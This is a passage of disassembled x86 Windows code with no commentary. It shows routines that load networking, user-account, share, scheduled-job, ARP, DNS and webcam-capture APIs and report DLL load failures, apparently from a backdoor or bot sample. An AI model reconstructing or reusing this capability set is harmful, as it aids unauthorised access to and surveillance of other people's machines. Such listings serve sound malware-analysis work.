		push	offset aSelect	; "select"
		push	edi
		mov	dword_43F694, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_43F650, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_43F690, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_43F6FC, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_43F648, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_43F60C, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_43F67C, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_43F6EC, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_43F620, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_43F5C4, eax
		call	esi
		cmp	dword_43F5E0, ebx
		mov	dword_43F700, eax
		jz	loc_409FD6
		cmp	dword_43F70C, ebx
		jz	loc_409FD6
		cmp	dword_43F584, ebx
		jz	loc_409FD6
		cmp	dword_43F614, ebx
		jz	loc_409FD6
		cmp	dword_43F5FC, ebx
		jz	loc_409FD6
		cmp	dword_43F5C8, ebx
		jz	loc_409FD6
		cmp	dword_43F6E8, ebx
		jz	loc_409FD6
		cmp	dword_43F704, ebx
		jz	loc_409FD6
		cmp	dword_43F610, ebx
		jz	loc_409FD6
		cmp	dword_43F6F4, ebx
		jz	loc_409FD6
		cmp	dword_43F6A8, ebx
		jz	loc_409FD6
		cmp	dword_43F668, ebx
		jz	loc_409FD6
		cmp	dword_43F664, ebx
		jz	loc_409FD6
		cmp	dword_43F5A4, ebx
		jz	short loc_409FD6
		cmp	dword_43F6B8, ebx
		jz	short loc_409FD6
		cmp	dword_43F6CC, ebx
		jz	short loc_409FD6
		cmp	dword_43F680, ebx
		jz	short loc_409FD6
		cmp	dword_43F640, ebx
		jz	short loc_409FD6
		cmp	dword_43F694, ebx
		jz	short loc_409FD6
		cmp	dword_43F650, ebx
		jz	short loc_409FD6
		cmp	dword_43F690, ebx
		jz	short loc_409FD6
		cmp	dword_43F6FC, ebx
		jz	short loc_409FD6
		cmp	dword_43F648, ebx
		jz	short loc_409FD6
		cmp	dword_43F60C, ebx
		jz	short loc_409FD6
		cmp	dword_43F67C, ebx
		jz	short loc_409FD6
		cmp	dword_43F6EC, ebx
		jz	short loc_409FD6
		cmp	dword_43F620, ebx
		jz	short loc_409FD6
		cmp	eax, ebx
		jnz	short loc_409FE0
		jmp	short loc_409FD6
; ---------------------------------------------------------------------------


loc_409FCB:				; CODE XREF: sub_40981F+501j
		nop
		call	near ptr 2650BAEh
		mov	dword_43F74C, eax


loc_409FD6:				; CODE XREF: sub_40981F+6A0j
					; sub_40981F+6ACj ...
		mov	dword_43F748, 1


loc_409FE0:				; CODE XREF: sub_40981F+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0E5
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_43F5AC, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_43F538, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_43F630, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_43F5E4, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_43F63C, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_43F600, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_43F578, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_43F570, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43F580, eax
		call	esi
		cmp	dword_43F5AC, ebx
		mov	ecx, dword_43F600
		mov	dword_43F69C, eax
		jz	short loc_40A0C1
		cmp	dword_43F538, ebx
		jz	short loc_40A0C1
		cmp	dword_43F630, ebx
		jz	short loc_40A0C1
		cmp	dword_43F5E4, ebx
		jz	short loc_40A0C1
		cmp	dword_43F63C, ebx
		jz	short loc_40A0C1
		cmp	ecx, ebx
		jz	short loc_40A0C1
		cmp	dword_43F578, ebx
		jz	short loc_40A0C1
		cmp	dword_43F570, ebx
		jz	short loc_40A0C1
		cmp	dword_43F580, ebx
		jz	short loc_40A0C1
		cmp	eax, ebx
		jnz	short loc_40A0CB


loc_40A0C1:				; CODE XREF: sub_40981F+860j
					; sub_40981F+868j ...
		mov	dword_43F750, 1


loc_40A0CB:				; CODE XREF: sub_40981F+8A0j
		cmp	ecx, ebx
		jz	short loc_40A100
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_43F618, eax
		jnz	short loc_40A100
		jmp	short loc_40A0FA
; ---------------------------------------------------------------------------


loc_40A0E5:				; CODE XREF: sub_40981F+7CCj
		nop
		call	near ptr 2650BAEh
		mov	dword_43F754, eax
		mov	dword_43F750, 1


loc_40A0FA:				; CODE XREF: sub_40981F+8C4j
		mov	dword_43F618, ebx


loc_40A100:				; CODE XREF: sub_40981F+8AEj
					; sub_40981F+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A14A
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_43F5F4, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_43F720, eax
		call	esi
		cmp	dword_43F5F4, ebx
		mov	dword_43F58C, eax
		jz	short loc_40A155
		cmp	dword_43F720, ebx
		jz	short loc_40A155
		cmp	eax, ebx
		jnz	short loc_40A15F
		jmp	short loc_40A155
; ---------------------------------------------------------------------------


loc_40A14A:				; CODE XREF: sub_40981F+8ECj
		nop
		call	near ptr 2650BAEh
		mov	dword_43F75C, eax


loc_40A155:				; CODE XREF: sub_40981F+91Bj
					; sub_40981F+923j ...
		mov	dword_43F758, 1


loc_40A15F:				; CODE XREF: sub_40981F+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A255
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_43F568, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_43F540, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_43F5B4, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_43F5E8, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_43F6F8, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43F5A0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43F54C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_43F53C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_43F5D0, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43F6C0, eax
		call	esi
		cmp	dword_43F568, ebx
		mov	dword_43F678, eax
		jz	short loc_40A260
		cmp	dword_43F540, ebx
		jz	short loc_40A260
		cmp	dword_43F5B4, ebx
		jz	short loc_40A260
		cmp	dword_43F5E8, ebx
		jz	short loc_40A260
		cmp	dword_43F6F8, ebx
		jz	short loc_40A260
		cmp	dword_43F5A0, ebx
		jz	short loc_40A260
		cmp	dword_43F54C, ebx
		jz	short loc_40A260
		cmp	dword_43F53C, ebx
		jz	short loc_40A260
		cmp	dword_43F5D0, ebx
		jz	short loc_40A260
		cmp	dword_43F6C0, ebx
		jz	short loc_40A260
		cmp	eax, ebx
		jnz	short loc_40A26A
		jmp	short loc_40A260
; ---------------------------------------------------------------------------


loc_40A255:				; CODE XREF: sub_40981F+94Bj
		nop
		call	near ptr 2650BAEh
		mov	dword_43F764, eax


loc_40A260:				; CODE XREF: sub_40981F+9E6j
					; sub_40981F+9EEj ...
		mov	dword_43F760, 1


loc_40A26A:				; CODE XREF: sub_40981F+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A29F
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_43F590, eax
		call	esi
		cmp	dword_43F590, ebx
		mov	dword_43F660, eax
		jz	short loc_40A2AA
		cmp	eax, ebx
		jnz	short loc_40A2B4
		jmp	short loc_40A2AA
; ---------------------------------------------------------------------------


loc_40A29F:				; CODE XREF: sub_40981F+A56j
		nop
		call	near ptr 2650BAEh
		mov	dword_43F76C, eax


loc_40A2AA:				; CODE XREF: sub_40981F+A78j
					; sub_40981F+A7Ej
		mov	dword_43F768, 1


loc_40A2B4:				; CODE XREF: sub_40981F+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A2E9
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_43F6E4, eax
		call	esi
		cmp	dword_43F6E4, ebx
		mov	dword_43F6E0, eax
		jz	short loc_40A2F4
		cmp	eax, ebx
		jnz	short loc_40A2FE
		jmp	short loc_40A2F4
; ---------------------------------------------------------------------------


loc_40A2E9:				; CODE XREF: sub_40981F+AA0j
		nop
		call	near ptr 2650BAEh
		mov	dword_43F774, eax


loc_40A2F4:				; CODE XREF: sub_40981F+AC2j
					; sub_40981F+AC8j
		mov	dword_43F770, 1


loc_40A2FE:				; CODE XREF: sub_40981F+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A35D
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_43F710, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_43F708, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43F6D0, eax
		call	esi
		cmp	dword_43F710, ebx
		mov	dword_43F5A8, eax
		jz	short loc_40A368
		cmp	dword_43F708, ebx
		jz	short loc_40A368
		cmp	dword_43F6D0, ebx
		jz	short loc_40A368
		cmp	eax, ebx
		jnz	short loc_40A372
		jmp	short loc_40A368
; ---------------------------------------------------------------------------


loc_40A35D:				; CODE XREF: sub_40981F+AEAj
		nop
		call	near ptr 2650BAEh
		mov	dword_43F77C, eax


loc_40A368:				; CODE XREF: sub_40981F+B26j
					; sub_40981F+B2Ej ...
		mov	dword_43F778, 1


loc_40A372:				; CODE XREF: sub_40981F+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3A7
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_43F5DC, eax
		call	esi
		cmp	dword_43F5DC, ebx
		mov	dword_43F6DC, eax
		jz	short loc_40A3B2
		cmp	eax, ebx
		jnz	short loc_40A3BC
		jmp	short loc_40A3B2
; ---------------------------------------------------------------------------


loc_40A3A7:				; CODE XREF: sub_40981F+B5Ej
		nop
		call	near ptr 2650BAEh
		mov	dword_43F784, eax


loc_40A3B2:				; CODE XREF: sub_40981F+B80j
					; sub_40981F+B86j
		mov	dword_43F780, 1


loc_40A3BC:				; CODE XREF: sub_40981F+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A445
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43F6A4, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43F6F0, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_43F62C, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_43F5EC, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_43F684, eax
		call	esi
		cmp	dword_43F6A4, ebx
		mov	dword_43F5F8, eax
		jz	short loc_40A450
		cmp	dword_43F6F0, ebx
		jz	short loc_40A450
		cmp	dword_43F62C, ebx
		jz	short loc_40A450
		cmp	dword_43F5EC, ebx
		jz	short loc_40A450
		cmp	dword_43F684, ebx
		jz	short loc_40A450
		cmp	eax, ebx
		jnz	short loc_40A45A
		jmp	short loc_40A450
; ---------------------------------------------------------------------------


loc_40A445:				; CODE XREF: sub_40981F+BA8j
		nop
		call	near ptr 2650BAEh
		mov	dword_43F78C, eax


loc_40A450:				; CODE XREF: sub_40981F+BFEj
					; sub_40981F+C06j ...
		mov	dword_43F788, 1


loc_40A45A:				; CODE XREF: sub_40981F+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A48F
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_43F5C0, eax
		call	esi
		cmp	dword_43F5C0, ebx
		mov	dword_43F698, eax
		jz	short loc_40A49A
		cmp	eax, ebx
		jnz	short loc_40A4A4
		jmp	short loc_40A49A
; ---------------------------------------------------------------------------


loc_40A48F:				; CODE XREF: sub_40981F+C46j
		call	near ptr 2650BAEh
		nop
		mov	dword_43F794, eax


loc_40A49A:				; CODE XREF: sub_40981F+C68j
					; sub_40981F+C6Ej
		mov	dword_43F790, 1


loc_40A4A4:				; CODE XREF: sub_40981F+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40981F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4AC	proc near		; CODE XREF: sub_40EE72+57D1p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_43F728, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A4F4
		push	dword_43F72C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A4F4:				; CODE XREF: sub_40A4AC+1Aj
		cmp	dword_43F730, esi
		jz	short loc_40A528
		push	dword_43F734
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A528:				; CODE XREF: sub_40A4AC+4Ej
		cmp	dword_43F738, esi
		jz	short loc_40A55C
		push	dword_43F73C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A55C:				; CODE XREF: sub_40A4AC+82j
		cmp	dword_43F740, esi
		jz	short loc_40A590
		push	dword_43F744
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A590:				; CODE XREF: sub_40A4AC+B6j
		cmp	dword_43F748, esi
		jz	short loc_40A5C4
		push	dword_43F74C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A5C4:				; CODE XREF: sub_40A4AC+EAj
		cmp	dword_43F750, esi
		jz	short loc_40A5F8
		push	dword_43F754
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A5F8:				; CODE XREF: sub_40A4AC+11Ej
		cmp	dword_43F758, esi
		jz	short loc_40A62C
		push	dword_43F75C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A62C:				; CODE XREF: sub_40A4AC+152j
		cmp	dword_43F760, esi
		jz	short loc_40A660
		push	dword_43F764
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A660:				; CODE XREF: sub_40A4AC+186j
		cmp	dword_43F768, esi
		jz	short loc_40A694
		push	dword_43F76C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A694:				; CODE XREF: sub_40A4AC+1BAj
		cmp	dword_43F770, esi
		jz	short loc_40A6C8
		push	dword_43F774
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A6C8:				; CODE XREF: sub_40A4AC+1EEj
		cmp	dword_43F778, esi
		jz	short loc_40A6FC
		push	dword_43F77C
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A6FC:				; CODE XREF: sub_40A4AC+222j
		cmp	dword_43F780, esi
		jz	short loc_40A730
		push	dword_43F784
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A730:				; CODE XREF: sub_40A4AC+256j
		cmp	dword_43F788, esi
		jz	short loc_40A764
		push	dword_43F78C
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A764:				; CODE XREF: sub_40A4AC+28Aj
		cmp	dword_43F790, esi
		jz	short loc_40A798
		push	dword_43F794
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A798:				; CODE XREF: sub_40A4AC+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D764
		push	eax
		call	sub_4172AE
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A7C5
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_40A7C5:				; CODE XREF: sub_40A4AC+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A4AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7D7	proc near		; CODE XREF: sub_40EE72+C5Ep
					; sub_40EE72+C92p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_40A862
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_40A862
		cmp	[ebp+arg_8], esi
		jz	short loc_40A862
		cmp	byte ptr [eax],	0
		jz	short loc_40A862
		push	ebx
		push	edi
		call	sub_42274B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40A85D
		push	[ebp+arg_4]
		push	edi
		call	sub_417880
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40A856
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_418C10
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_417AB0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_418DE0
		push	[ebp+arg_4]
		call	sub_417AB0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_4179D0
		push	ebx
		push	edi
		call	sub_4179C0
		add	esp, 30h
		mov	esi, edi


loc_40A856:				; CODE XREF: sub_40A7D7+3Cj
		push	ebx
		call	sub_417C3B
		pop	ecx


loc_40A85D:				; CODE XREF: sub_40A7D7+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_40A864
; ---------------------------------------------------------------------------


loc_40A862:				; CODE XREF: sub_40A7D7+Cj
					; sub_40A7D7+13j ...
		xor	eax, eax


loc_40A864:				; CODE XREF: sub_40A7D7+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40A7D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A868	proc near		; CODE XREF: sub_40ECFA+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_417330
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_417AB0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_40A89E


loc_40A899:				; DATA XREF: ___:00428424o
					; ___:00428468o ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A911
; ---------------------------------------------------------------------------


loc_40A89E:				; CODE XREF: sub_40A868+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_40A8C0


loc_40A8AA:				; CODE XREF: sub_40A868+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_40A8B7
		cmp	dl, 0Dh
		jnz	short loc_40A8BB


loc_40A8B7:				; CODE XREF: sub_40A868+48j
		and	byte ptr [ecx+esi], 0


loc_40A8BB:				; CODE XREF: sub_40A868+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_40A8AA


loc_40A8C0:				; CODE XREF: sub_40A868+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_40A8F1
		lea	edi, [ebp+var_7CC]


loc_40A8CD:				; CODE XREF: sub_40A868+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_40A8EC
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_40A8EC
		cmp	ebx, 1F4h
		jge	short loc_40A8F1
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_40A8EC:				; CODE XREF: sub_40A868+69j
					; sub_40A868+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_40A8CD


loc_40A8F1:				; CODE XREF: sub_40A868+5Dj
					; sub_40A868+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_40A90F
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_417390
		add	esp, 0Ch


loc_40A90F:				; CODE XREF: sub_40A868+8Ej
		mov	eax, ebx


loc_40A911:				; CODE XREF: sub_40A868+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_40A868	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A915	proc near		; CODE XREF: sub_40A96F+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_40A94E
		push	ebx
		mov	ebx, edi


loc_40A932:				; CODE XREF: sub_40A915+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_40A951
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_40A932
		pop	ebx


loc_40A94E:				; CODE XREF: sub_40A915+18j
		pop	edi
		pop	esi
		retn
sub_40A915	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A951	proc near		; CODE XREF: sub_40A915+25p
					; sub_40A96F+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_419101
		cmp	al, 61h
		pop	ecx
		jl	short loc_40A96C
		cmp	al, 7Ah
		jg	short loc_40A96C
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_40A96C:				; CODE XREF: sub_40A951+Ej
					; sub_40A951+12j
		xor	eax, eax
		retn
sub_40A951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A96F	proc near		; CODE XREF: sub_40C04D+10p
					; sub_40C07F+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_417AB0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_40A915
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_40A9AD:				; CODE XREF: sub_40A96F+B6j
		test	esi, esi
		jle	short loc_40AA2B
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_419101
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40AA23


loc_40A9D3:				; CODE XREF: sub_40A96F+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_40A951
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_40A9F4
		mov	eax, ecx


loc_40A9F4:				; CODE XREF: sub_40A96F+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_40AA27
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
